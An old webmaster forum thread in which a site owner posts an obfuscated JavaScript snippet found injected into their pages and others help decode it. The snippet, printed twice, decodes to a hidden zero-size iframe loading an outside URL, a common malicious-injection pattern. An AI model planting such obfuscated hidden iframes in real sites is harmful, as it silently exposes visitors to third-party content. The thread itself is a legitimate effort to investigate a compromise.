Forum Moderators: open

Message Too Old, No Replies

Weird javascript code. Didnt put it into my document

         

slimey

2:36 pm on Jul 29, 2007 (gmt 0)

10+ Year Member



Hey hey all, Kind of obscure title i know. But just going through a website i design i found a sinnep of javascript that i didnt put into my document and i have no idea what it does.

I dont know if anyone here will be able to help but i thought id try. This is the code.


<SCRIPT Language="JavaScript">
var source = '>khtcog"ute?)jvvr<11kpkhqto0kphq1uvcv1kpfgz0rjr)"ykfvj?)2)"jgkijv?)2)@';
var step = -2;
var result = '';
for(var i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write(result);
</SCRIPT>

it appears at the bottom of 2 pages and i didnt put it there.

Any help?

Bernard Marx

11:00 pm on Jul 29, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Amend the code to this, and put it into a blank html file:

<SCRIPT Language="JavaScript">
var source = '>khtcog"ute?)jvvr<11kpkhqto0kphq1uvcv1kpfgz0rjr)"ykfvj?)2)"jgkijv?)2)@';
var step = -2;
var result = '';
for(var i=0;i<source.length;i++)result+=String.fromCharCode(source.charCodeAt(i)+step);
document.write("<xmp>"+result+"</xmp>");
</SCRIPT>

slimey

5:20 pm on Jul 31, 2007 (gmt 0)

10+ Year Member



Comes up with a URL looks like a spam i didnt put it there. Does that mean my server has been hacked?

slimey

5:23 pm on Jul 31, 2007 (gmt 0)

10+ Year Member



*EDIT*Comes up with a URL looks like its for a stats thing but its ben suspended... possibly my server been hacked

Bernard Marx

9:17 am on Aug 1, 2007 (gmt 0)

WebmasterWorld Senior Member 10+ Year Member



Perhaps. It may be that you have chosen some kind of site statistics add-on.
I don't see why they would want to obscure the code in such a way though.

It seems that the site itself is now down.